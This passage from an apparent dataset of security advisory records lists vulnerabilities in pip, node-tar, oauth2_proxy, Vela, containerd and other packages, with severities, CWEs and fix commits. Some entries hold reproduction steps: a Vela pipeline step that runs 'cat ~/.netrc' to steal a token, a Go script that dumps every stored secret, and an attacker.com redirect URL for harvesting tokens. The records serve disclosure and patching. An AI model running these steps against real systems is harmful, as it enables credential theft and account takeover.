'https://lists.apache.org/thread.html/r204ba2a9ea750f38d789d2bb429cc0925ad6133deea7cbc3001d96b5@%3Csolr-user.lucene.apache.org%3E', 'http://www.openwall.com/lists/oss-security/2009/09/06/1', 'http://secunia.com/advisories/37460', 'http://rhn.redhat.com/errata/RHSA-2012-1537.html', 'https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9356', 'http://lists.apple.com/archives/security-announce/2009/Sep/msg00000.html', 'http://www.vupen.com/english/advisories/2011/0359', 'http://www.redhat.com/support/errata/RHSA-2011-0858.html', 'http://www.codenomicon.com/labs/xml/', 'http://svn.apache.org/viewvc/xerces/java/trunk/src/org/apache/xerces/impl/XMLScanner.java?r1=572055&r2=787352&pathrev=787353&diff_format=h', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-263489-1', 'http://www.oracle.com/technetwork/topics/security/cpujan2010-084891.html', 'http://secunia.com/advisories/37300', 'http://www.us-cert.gov/cas/techalerts/TA10-012A.html', 'http://www.openwall.com/lists/oss-security/2009/10/26/3', 'http://secunia.com/advisories/36180', 'http://secunia.com/advisories/37754', 'https://bugzilla.redhat.com/show_bug.cgi?id=512921', 'http://secunia.com/advisories/36176', 'http://www.openwall.com/lists/oss-security/2009/10/22/9', 'http://secunia.com/advisories/37671', 'http://sunsolve.sun.com/search/document.do?assetkey=1-77-1021506.1-1', 'http://secunia.com/advisories/50549', 'http://lists.opensuse.org/opensuse-security-announce/2009-11/msg00002.html', 'http://www.securityfocus.com/bid/35958', 'https://rhn.redhat.com/errata/RHSA-2009-1637.html', 'http://secunia.com/advisories/36162', 'https://rhn.redhat.com/errata/RHSA-2009-1199.html', 'http://www.networkworld.com/columnists/2009/080509-xml-flaw.html', 'https://nvd.nist.gov/vuln/detail/CVE-2009-2625', 'http://marc.info/?l=bugtraq&m=125787273209737&w=2', 'http://www.securitytracker.com/id?1022680', 'http://lists.opensuse.org/opensuse-security-announce/2010-06/msg00001.html', 'http://secunia.com/advisories/43300', 'https://rhn.redhat.com/errata/RHSA-2009-1649.html', 'https://www.redhat.com/archives/fedora-package-announce/2009-August/msg00310.html', 'https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8520', 'http://slackware.com/security/viewer.php?l=slackware-security&y=2011&m=slackware-security.486026', 'https://snyk.io/vuln/SNYK-JAVA-XERCES-32014', 'http://www.vupen.com/english/advisories/2009/3316', 'https://github.com/apache/xerces2-j/commit/0bdf77af1d4fd26ec2e630fb6d12e2dfa77bc12b', 'http://www.vupen.com/english/advisories/2009/2543', 'http://www.cert.fi/en/reports/2009/vulnerability2009085.html', 'http://secunia.com/advisories/38342', 'https://rhn.redhat.com/errata/RHSA-2009-1200.html', 'http://secunia.com/advisories/36199', 'http://www.debian.org/security/2010/dsa-1984', 'http://www.us-cert.gov/cas/techalerts/TA09-294A.html', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-272209-1', 'https://rhn.redhat.com/errata/RHSA-2009-1650.html', 'https://github.com/advisories/GHSA-334p-wv2m-w3vp', 'http://sunsolve.sun.com/search/document.do?assetkey=1-21-125136-16-1', 'https://rhn.redhat.com/errata/RHSA-2009-1201.html', 'https://www.redhat.com/archives/fedora-package-announce/2009-August/msg00325.html', 'http://rhn.redhat.com/errata/RHSA-2012-1232.html', 'http://www.openwall.com/lists/oss-security/2009/10/23/6'} | null | {'https://github.com/apache/xerces2-j/commit/0bdf77af1d4fd26ec2e630fb6d12e2dfa77bc12b'} | {'https://github.com/apache/xerces2-j/commit/0bdf77af1d4fd26ec2e630fb6d12e2dfa77bc12b'} |
GHSA | GHSA-gpvv-69j7-gwj8 | Path Traversal in pip | The pip package before 19.2 for Python allows Directory Traversal when a URL is given in an install command, because a Content-Disposition header can have ../ in a filename, as demonstrated by overwriting the /root/.ssh/authorized_keys file. This occurs in _download_http_url in _internal/download.py. A fix was committed 6704f2ace. | {'CVE-2019-20916'} | 2022-04-21T15:43:34Z | 2021-06-09T17:35:04Z | HIGH | 7.5 | {'CWE-22'} | {'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00005.html', 'https://github.com/advisories/GHSA-gpvv-69j7-gwj8', 'https://lists.debian.org/debian-lts-announce/2020/09/msg00010.html', 'https://www.oracle.com/security-alerts/cpuapr2022.html', 'https://github.com/pypa/pip/issues/6413', 'https://nvd.nist.gov/vuln/detail/CVE-2019-20916', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00010.html', 'https://github.com/gzpan123/pip/commit/a4c735b14a62f9cb864533808ac63936704f2ace', 'https://github.com/pypa/pip/compare/19.1.1...19.2'} | null | {'https://github.com/gzpan123/pip/commit/a4c735b14a62f9cb864533808ac63936704f2ace'} | {'https://github.com/gzpan123/pip/commit/a4c735b14a62f9cb864533808ac63936704f2ace'} |
GHSA | GHSA-r628-mhmh-qjhw | Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning | ### Impact
Arbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution
`node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur.
By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.
This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.
### Patches
3.2.3 || 4.4.15 || 5.0.7 || 6.1.2
### Workarounds
Users may work around this vulnerability without upgrading by creating a custom `filter` method which prevents the extraction of symbolic links.
```js
const tar = require('tar')
tar.x({
file: 'archive.tgz',
filter: (file, entry) => {
if (entry.type === 'SymbolicLink') {
return false
} else {
return true
}
}
})
```
Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves. | {'CVE-2021-32803'} | 2022-03-11T21:27:16Z | 2021-08-03T19:00:40Z | HIGH | 8.2 | {'CWE-23', 'CWE-22'} | {'https://github.com/advisories/GHSA-r628-mhmh-qjhw', 'https://github.com/npm/node-tar/security/advisories/GHSA-r628-mhmh-qjhw', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32803', 'https://www.oracle.com/security-alerts/cpuoct2021.html', 'https://www.npmjs.com/package/tar', 'https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf', 'https://github.com/npm/node-tar/commit/9dbdeb6df8e9dbd96fa9e84341b9d74734be6c20', 'https://www.npmjs.com/advisories/1771'} | null | {'https://github.com/npm/node-tar/commit/9dbdeb6df8e9dbd96fa9e84341b9d74734be6c20'} | {'https://github.com/npm/node-tar/commit/9dbdeb6df8e9dbd96fa9e84341b9d74734be6c20'} |
GHSA | GHSA-62gr-4qp9-h98f | Regular Expression Denial of Service in Handlebars | Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources. | {'CVE-2019-20922'} | 2022-02-10T20:38:22Z | 2022-02-10T20:38:22Z | HIGH | 7.5 | {'CWE-400'} | {'https://www.npmjs.com/advisories/1300', 'https://nvd.nist.gov/vuln/detail/CVE-2019-20922', 'https://github.com/handlebars-lang/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b', 'https://github.com/advisories/GHSA-62gr-4qp9-h98f', 'https://snyk.io/vuln/SNYK-JS-HANDLEBARS-480388', 'https://www.npmjs.com/package/handlebars'} | null | {'https://github.com/handlebars-lang/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b'} | {'https://github.com/handlebars-lang/handlebars.js/commit/8d5530ee2c3ea9f0aee3fde310b9f36887d00b8b'} |
GHSA | GHSA-g6ww-v8xp-vmwg | Prototype pollution in pathval | A prototype pollution vulnerability affects all versions of package pathval under 1.1.1. | {'CVE-2020-7751'} | 2022-04-18T21:58:50Z | 2022-02-10T20:21:24Z | HIGH | 7.2 | {'CWE-20', 'CWE-1321'} | {'https://github.com/advisories/GHSA-g6ww-v8xp-vmwg', 'https://github.com/chaijs/pathval/pull/58/commits/21a9046cfa0c2697cb41990f3b4316db410e6c8a', 'https://github.com/chaijs/pathval/pull/58/files', 'https://github.com/chaijs/pathval/releases/tag/v1.1.1', 'https://snyk.io/vuln/SNYK-JS-PATHVAL-596926', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7751'} | null | {'https://github.com/chaijs/pathval/pull/58/commits/21a9046cfa0c2697cb41990f3b4316db410e6c8a'} | {'https://github.com/chaijs/pathval/pull/58/commits/21a9046cfa0c2697cb41990f3b4316db410e6c8a'} |
GHSA | GHSA-c32w-3cqh-f6jx | Weak Password Recovery Mechanism for Forgotten Password | In “Dolibarr” application, v2.8.1 to v13.0.2 are vulnerable to account takeover via password reset functionality. A low privileged attacker can reset the password of any user in the application using the password reset link the user received through email when requested for a forgotten password. | {'CVE-2021-25957'} | 2021-10-21T14:15:19Z | 2021-09-02T17:08:33Z | HIGH | 8.8 | {'CWE-640'} | {'https://github.com/Dolibarr/dolibarr/commit/87f9530272925f0d651f59337a35661faeb6f377', 'https://github.com/advisories/GHSA-c32w-3cqh-f6jx', 'https://nvd.nist.gov/vuln/detail/CVE-2021-25957', 'https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25957'} | null | {'https://github.com/Dolibarr/dolibarr/commit/87f9530272925f0d651f59337a35661faeb6f377'} | {'https://github.com/Dolibarr/dolibarr/commit/87f9530272925f0d651f59337a35661faeb6f377'} |
Go | GO-2020-0027 | null | After dropping and then elevating process privileges euid, guid, and groups
are not properly restored to their original values, allowing an unprivileged
user to gain membership in the root group.
| {'CVE-2018-6558'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/google/fscrypt/issues/77', 'https://github.com/google/fscrypt/commit/3022c1603d968c22f147b4a2c49c4637dd1be91b'} | null | {'https://github.com/google/fscrypt/commit/3022c1603d968c22f147b4a2c49c4637dd1be91b'} | {'https://github.com/google/fscrypt/commit/3022c1603d968c22f147b4a2c49c4637dd1be91b'} |
Go | GHSA-9m95-8hx6-7p9v | Improper input validation in umoci | ### Impact
umoci 0.4.6 and earlier can be tricked into modifying host files by
creating a malicious layer that has a symlink with the name "." (or
"/"). Because umoci deletes inodes if they change types, this results in
the rootfs directory being replaced with an attacker-controlled symlink.
Subsequent image layers will then be applied on top of the target of the
symlink (which could be any directory on the host filesystem the user
running umoci has access to).
While umoci does have defences against symlink-based attacks, they are
all implemented by resolving things relative to the rootfs directory --
if the rootfs itself is a symlink, umoci resolves it first.
This vulnerability affects both "umoci unpack" and "umoci raw unpack".
### Patches
This issue has been patched in umoci 0.4.7, see the references section
for the specific commit which fixed this vulnerability.
### Workarounds
Note that if you use umoci as an unprivileged user (using the --rootless
flag) then umoci will not be able to overwrite any files that your user
doesn't have access to. Other possible mitigations are to run umoci
under an LSM profile such as AppArmor or SELinux to restrict the level
of access it has outside of container image directories.
### References
* [oss-security public disclosure](https://www.openwall.com/lists/oss-security/2021/04/06/2)
* [patch](https://github.com/opencontainers/umoci/commit/d9efc31daf2206f7d3fdb839863cf7a576a2eb57)
### Credits
Thanks to Robin Peraglie from Cure53 for discovering and reporting this
vulnerability.
### For more information
If you have any questions or comments about this advisory
* Open an issue in <https://github.com/opencontainers/umoci>.
* Email us at <security@opencontainers.org>. | {'CVE-2021-29136'} | 2022-03-15T21:39:42Z | 2022-02-15T01:17:37Z | MODERATE | null | {'CWE-20'} | {'https://github.com/opencontainers/umoci/commit/d9efc31daf2206f7d3fdb839863cf7a576a2eb57', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29136', 'https://github.com/opencontainers/umoci/security/advisories/GHSA-9m95-8hx6-7p9v', 'http://www.openwall.com/lists/oss-security/2021/04/06/2'} | null | {'https://github.com/opencontainers/umoci/commit/d9efc31daf2206f7d3fdb839863cf7a576a2eb57'} | {'https://github.com/opencontainers/umoci/commit/d9efc31daf2206f7d3fdb839863cf7a576a2eb57'} |
Go | GO-2021-0083 | null | TLS certificate verification is skipped when connecting to a MQTT server.
This allows an attacker who can MITM the connection to read, or forge,
messages passed between the client and server.
| {'CVE-2019-12496'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/hybridgroup/gobot/releases/tag/v1.13.0', 'https://github.com/hybridgroup/gobot/commit/c1aa4f867846da4669ecf3bc3318bd96b7ee6f3f'} | null | {'https://github.com/hybridgroup/gobot/commit/c1aa4f867846da4669ecf3bc3318bd96b7ee6f3f'} | {'https://github.com/hybridgroup/gobot/commit/c1aa4f867846da4669ecf3bc3318bd96b7ee6f3f'} |
Go | GHSA-grfp-q2mm-hfp6 | Redirect URL matching ignores character casing | ### Impact
Before version v0.34.1, the OAuth 2.0 Client's registered redirect URLs and the redirect URL provided at the OAuth2 Authorization Endpoint where compared using `strings.ToLower` while they should have been compared with a simple string match:
1. Registering a client with allowed redirect URL `https://example.com/callback`
2. Performing OAuth2 flow and requesting redirect URL `https://example.com/CALLBACK`
3. Instead of an error (invalid redirect URL), the browser is redirected to `https://example.com/CALLBACK` with a potentially successful OAuth2 response, depending on the state of the overall OAuth2 flow (the user might still deny the request for example). | {'CVE-2020-15234'} | 2021-11-19T14:43:47Z | 2021-05-24T17:00:05Z | MODERATE | null | {'CWE-20', 'CWE-601', 'CWE-178'} | {'https://github.com/ory/fosite', 'https://github.com/ory/fosite/commit/cdee51ebe721bfc8acca0fd0b86b030ca70867bf', 'https://github.com/ory/fosite/security/advisories/GHSA-grfp-q2mm-hfp6', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15234'} | null | {'https://github.com/ory/fosite/commit/cdee51ebe721bfc8acca0fd0b86b030ca70867bf'} | {'https://github.com/ory/fosite/commit/cdee51ebe721bfc8acca0fd0b86b030ca70867bf'} |
Go | GHSA-p55x-7x9v-q8m4 | Denial of Service in miekg-dns | A denial of service flaw was found in miekg-dns before 1.0.4. A remote attacker could use carefully timed TCP packets to block the DNS server from accepting new connections. | {'CVE-2017-15133'} | 2021-05-20T20:59:20Z | 2021-06-29T21:45:07Z | HIGH | null | {'CWE-400'} | {'https://github.com/miekg/dns/pull/631', 'https://github.com/miekg/dns/issues/627', 'https://bugzilla.redhat.com/show_bug.cgi?id=1538763', 'https://nvd.nist.gov/vuln/detail/CVE-2017-15133', 'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} | null | {'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} | {'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} |
Go | GHSA-w942-gw6m-p62c | Denial of service in GJSON | GJSON before 1.6.4 allows attackers to cause a denial of service via crafted JSON. | {'CVE-2020-35380'} | 2021-05-12T21:50:06Z | 2021-06-23T17:53:05Z | HIGH | null | {'CWE-400'} | {'https://github.com/tidwall/gjson/issues/192', 'https://github.com/tidwall/gjson/commit/f0ee9ebde4b619767ae4ac03e8e42addb530f6bc', 'https://nvd.nist.gov/vuln/detail/CVE-2020-35380'} | null | {'https://github.com/tidwall/gjson/commit/f0ee9ebde4b619767ae4ac03e8e42addb530f6bc'} | {'https://github.com/tidwall/gjson/commit/f0ee9ebde4b619767ae4ac03e8e42addb530f6bc'} |
Go | GHSA-c3h9-896r-86jm | Improper Input Validation in GoGo Protobuf | An issue was discovered in GoGo Protobuf before 1.3.2. plugin/unmarshal/unmarshal.go lacks certain index validation, aka the "skippy peanut butter" issue. | {'CVE-2021-3121'} | 2022-03-28T20:28:00Z | 2022-03-28T20:28:00Z | HIGH | null | {'CWE-20', 'CWE-129'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-3121', 'https://discuss.hashicorp.com/t/hcsec-2021-23-consul-exposed-to-denial-of-service-in-gogo-protobuf-dependency/29025', 'https://lists.apache.org/thread.html/r88d69555cb74a129a7bf84838073b61259b4a3830190e05a3b87994e@%3Ccommits.pulsar.apache.org%3E', 'https://lists.apache.org/thread.html/r68032132c0399c29d6cdc7bd44918535da54060a10a12b1591328bff@%3Cnotifications.skywalking.apache.org%3E', 'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc', 'https://lists.apache.org/thread.html/rc1e9ff22c5641d73701ba56362fb867d40ed287cca000b131dcf4a44@%3Ccommits.pulsar.apache.org%3E', 'https://security.netapp.com/advisory/ntap-20210219-0006/', 'https://github.com/gogo/protobuf', 'https://github.com/gogo/protobuf/compare/v1.3.1...v1.3.2'} | null | {'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc'} | {'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc'} |
Go | GHSA-qqxw-m5fj-f7gv | The pattern '/\domain.com' is not disallowed when redirecting, allowing for open redirect | ### Impact
An open redirect vulnerability has been found in `oauth2_proxy`. Anyone who uses `oauth2_proxy` may potentially be impacted.
For a context [detectify] have an in depth blog post about the potential impact of an open redirect. Particularly see the OAuth section.
**tl;dr**: People's authentication tokens could be silently harvested by an attacker. e.g:
`facebook.com/oauth.php?clientid=123&state=abc&redirect_url=https://yourdomain.com/red.php?url%3dhttps://attacker.com/`
### Patches
@sauyon found the issue, and has submitted a patch.
```
diff --git a/oauthproxy.go b/oauthproxy.go
index 72ab580..f420df6 100644
--- a/oauthproxy.go
+++ b/oauthproxy.go
@@ -517,7 +517,7 @@ func (p *OAuthProxy) GetRedirect(req *http.Request) (redirect string, err error)
// IsValidRedirect checks whether the redirect URL is whitelisted
func (p *OAuthProxy) IsValidRedirect(redirect string) bool {
switch {
- case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//"):
+ case strings.HasPrefix(redirect, "/") && !strings.HasPrefix(redirect, "//") && !strings.HasPrefix(redirect, "/\\"):
return true
case strings.HasPrefix(redirect, "http://") || strings.HasPrefix(redirect, "https://"):
redirectURL, err := url.Parse(redirect)
```
This patch will be applied to the next release, which is scheduled for when this is publicly disclosed.
### Workarounds
At this stage there is no work around. | {'CVE-2020-5233'} | 2021-05-24T21:20:17Z | 2021-12-20T18:02:38Z | MODERATE | null | {'CWE-601'} | {'https://github.com/oauth2-proxy/oauth2_proxy/commit/a316f8a06f3c0ca2b5fc5fa18a91781b313607b2', 'https://github.com/oauth2-proxy/oauth2_proxy/releases/tag/v5.0.0', 'https://blog.detectify.com/2019/05/16/the-real-impact-of-an-open-redirect/', 'https://github.com/oauth2-proxy/oauth2-proxy/security/advisories/GHSA-qqxw-m5fj-f7gv', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5233'} | null | {'https://github.com/oauth2-proxy/oauth2_proxy/commit/a316f8a06f3c0ca2b5fc5fa18a91781b313607b2'} | {'https://github.com/oauth2-proxy/oauth2_proxy/commit/a316f8a06f3c0ca2b5fc5fa18a91781b313607b2'} |
Go | GHSA-3f8r-4qwm-r7jf | Improper Authentication in Apache Traffic Control | Improper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user's correct password. | {'CVE-2019-12405'} | 2021-10-13T17:25:40Z | 2021-05-18T15:39:16Z | CRITICAL | null | {'CWE-287'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-12405', 'https://github.com/apache/trafficcontrol', 'https://lists.apache.org/thread.html/rc8bfd7d4f71d61e9193efcd4699eccbab3c202ec1d75ed9d502f08bf@%3Ccommits.trafficcontrol.apache.org%3E', 'https://lists.apache.org/thread.html/e128e9d382f3b0d074e2b597ac58e1d92139394509d81ddbc9e3700e@%3Cusers.trafficcontrol.apache.org%3E', 'https://lists.apache.org/thread.html/r3c675031ac220b5eae64a9c84a03ee60045c6045738607dca4a96cb8@%3Ccommits.trafficcontrol.apache.org%3E', 'https://support.f5.com/csp/article/K84141859', 'https://support.f5.com/csp/article/K84141859?utm_source=f5support&utm_medium=RSS', 'https://github.com/apache/trafficcontrol/commit/f780aff77a52d52a37b4d1cc3e8e801c0b557356'} | null | {'https://github.com/apache/trafficcontrol/commit/f780aff77a52d52a37b4d1cc3e8e801c0b557356'} | {'https://github.com/apache/trafficcontrol/commit/f780aff77a52d52a37b4d1cc3e8e801c0b557356'} |
Go | GHSA-8j3f-mhq8-gmh4 | Reject unauthorized access with GitHub PATs | ### Impact
_What kind of vulnerability is it? Who is impacted?_
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce
1. Create Vela server
2. Login to Vela UI
3. Promote yourself to Vela administrator
- `UPDATE users SET admin = 't' WHERE name = <username>`
4. Activate repository within Vela
5. Add `.vela.yml` to the repository with the following content
```yaml
version: "1"
steps:
- name: steal
image: alpine
commands:
- cat ~/.netrc
```
1. Look at build logs to find the following content
```
$ cat ~/.netrc
machine <GITHUB URL>
login x-oauth-basic
password <token>
```
1. Copy the password to be utilized in some later step
1. Add secret(s) to activated repo
1. Copy the following script into `main.go`
```golang
package main
import (
"fmt"
"github.com/go-vela/sdk-go/vela"
"os"
)
func main() {
// create client to connect to vela
client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
if err != nil {
panic(err)
}
// add PAT to request
client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
if err != nil {
panic(err)
}
for _, secret := range *secrets {
fmt.Println(*secret.Name)
fmt.Println(*secret.Value)
}
}
```
1. Run the `main.go` with environment specific settings
- `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
### Patches
_Has the problem been patched? What versions should users upgrade to?_
* Upgrade to `v0.7.5` or later
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
* No known workarounds
### References
_Are there any links users can visit to find out more?_
* https://github.com/go-vela/server/pull/246
* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token
### For more information
If you have any questions or comments about this advisory
* Email us at [vela@target.com](mailto:vela@target.com) | {'CVE-2021-21432'} | 2021-05-20T20:12:26Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-863', 'CWE-285'} | {'https://github.com/go-vela/server/pull/337', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21432', 'https://github.com/go-vela/server/releases/tag/v0.7.5', 'https://pkg.go.dev/github.com/go-vela/server', 'https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46', 'https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4'} | null | {'https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46'} | {'https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46'} |
Go | GO-2020-0031 | null | Due to improper setting of finalizers, memory passed to C may be freed before it is used,
leading to crashes due to memory corruption or possible code execution.
| {'CVE-2020-8945'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/proglottis/gpgme/commit/92153bcb59bd2f511e502262c46c7bd660e21733', 'https://bugzilla.redhat.com/show_bug.cgi?id=1795838'} | null | {'https://github.com/proglottis/gpgme/commit/92153bcb59bd2f511e502262c46c7bd660e21733'} | {'https://github.com/proglottis/gpgme/commit/92153bcb59bd2f511e502262c46c7bd660e21733'} |
Go | GO-2021-0095 | null | Due to repeated usage of a XOR key an attacker that can eavesdrop on the TPM 1.2 transport
is able to calculate usageAuth for keys created using CreateWrapKey, despite it being encrypted,
allowing them to use the created key.
| {'CVE-2020-8918'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/google/go-tpm/pull/195', 'https://github.com/google/go-tpm/commit/d7806cce857a1a020190c03348e5361725d8f141', 'https://github.com/google/go-tpm/security/advisories/GHSA-5x29-3hr9-6wpw'} | null | {'https://github.com/google/go-tpm/commit/d7806cce857a1a020190c03348e5361725d8f141'} | {'https://github.com/google/go-tpm/commit/d7806cce857a1a020190c03348e5361725d8f141'} |
Go | GHSA-5v95-v8c8-3rh6 | Privilege escalation in rbac | ### Impact
Using a carefully crafted request or malicious proxy, a user with `UserWrite` permissions could create another user with higher privileges than their own due to insufficient checks on the allowed set of permissions. The event would be captured in the Event Log.
### Patches
The issue has been fixed in 0.24.0 and 0.23.1.
### Workarounds
For users who are unable to upgrade, we recommend auditing users who have `UserWrite` permissions and regularly reviewing the Event Log for malicious activity.
### Kudos
Thank you to Michael Mazzolini (Ethical Hacker at WHO) for finding and disclosing this vulnerability. | {'CVE-2021-22538'} | 2021-05-20T22:26:21Z | 2021-05-21T14:32:55Z | HIGH | null | {'CWE-276'} | {'https://github.com/google/exposure-notifications-verification-server/security/advisories/GHSA-5v95-v8c8-3rh6', 'https://github.com/google/exposure-notifications-verification-server/releases/tag/v0.24.0', 'https://github.com/google/exposure-notifications-verification-server/releases/tag/v0.23.1', 'https://github.com/google/exposure-notifications-verification-server/commit/eb8cf40b12dbe79304f1133c06fb73419383cd95', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22538'} | null | {'https://github.com/google/exposure-notifications-verification-server/commit/eb8cf40b12dbe79304f1133c06fb73419383cd95'} | {'https://github.com/google/exposure-notifications-verification-server/commit/eb8cf40b12dbe79304f1133c06fb73419383cd95'} |
Go | GHSA-9423-6c93-gpp8 | Arbitrary File Write via Archive Extraction (Zip Slip) | The CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading ".." which leads in file extraction outside of the current directory. Note, the fixing commit was applied to all affected versions which were re-released. | {'CVE-2020-7667'} | 2022-01-04T19:27:35Z | 2021-06-23T17:13:29Z | HIGH | null | {'CWE-22'} | {'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMSASSOFTWAREGORPMUTILSCPIO-570427', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7667', 'https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0', 'https://github.com/sassoftware/go-rpmutils'} | null | {'https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0'} | {'https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0'} |
Go | GHSA-gw5h-h6hj-f56g | Improper Authorization in Gogs | ### Impact
Expired PAM accounts and accounts with expired passwords are continued to be seen as valid. Installations use PAM as authentication sources are affected.
### Patches
Expired PAM accounts and accounts with expired passwords are no longer being seen as valid. Users should upgrade to 0.12.5 or the latest 0.13.0+dev.
### Workarounds
In addition to marking PAM accounts as expired, also disable/lock them. Running `usermod -L <username>` will add an exclamation mark to the password hash and would result in wrong passwords responses when trying to login.
### References
https://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62/
### For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6810.
| null | 2022-03-14T22:58:37Z | 2022-03-14T22:58:37Z | HIGH | null | {'CWE-285'} | {'https://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62', 'https://github.com/gogs/gogs/security/advisories/GHSA-gw5h-h6hj-f56g', 'https://github.com/gogs/gogs', 'https://github.com/gogs/gogs/commit/64102be2c90e1b47dbdd379873ba76c80d4b0e78'} | null | {'https://github.com/gogs/gogs/commit/64102be2c90e1b47dbdd379873ba76c80d4b0e78'} | {'https://github.com/gogs/gogs/commit/64102be2c90e1b47dbdd379873ba76c80d4b0e78'} |
Go | GO-2021-0056 | null | Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
| {'CVE-2020-15216'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/dexidp/dex/security/advisories/GHSA-m9hp-7r99-94h5', 'https://github.com/dexidp/dex/commit/324b1c886b407594196113a3dbddebe38eecd4e8'} | null | {'https://github.com/dexidp/dex/commit/324b1c886b407594196113a3dbddebe38eecd4e8'} | {'https://github.com/dexidp/dex/commit/324b1c886b407594196113a3dbddebe38eecd4e8'} |
Go | GHSA-mvff-h3cj-wj9c | Unprivileged pod using `hostPath` can side-step active LSM when it is SELinux | ### Impact
Containers launched through containerd’s CRI implementation on Linux systems which use the SELinux security module and containerd versions since v1.5.0 can cause arbitrary files and directories on the host to be relabeled to match the container process label through the use of specially-configured bind mounts in a hostPath volume. This relabeling elevates permissions for the container, granting full read/write access over the affected files and directories. Kubernetes and crictl can both be configured to use containerd’s CRI implementation.
If you are not using containerd’s CRI implementation (through one of the mechanisms described above), you are not affected by this issue.
### Patches
This bug has been fixed in containerd 1.5.9. Because file labels persist independently of containerd, users should both update to these versions as soon as they are released and validate that all files on their host are correctly labeled.
### Workarounds
Ensure that no sensitive files or directories are used as a hostPath volume source location. Policy enforcement mechanisms such a Kubernetes Pod Security Policy [AllowedHostPaths](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems) may be specified to limit the files and directories that can be bind-mounted to containers.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)
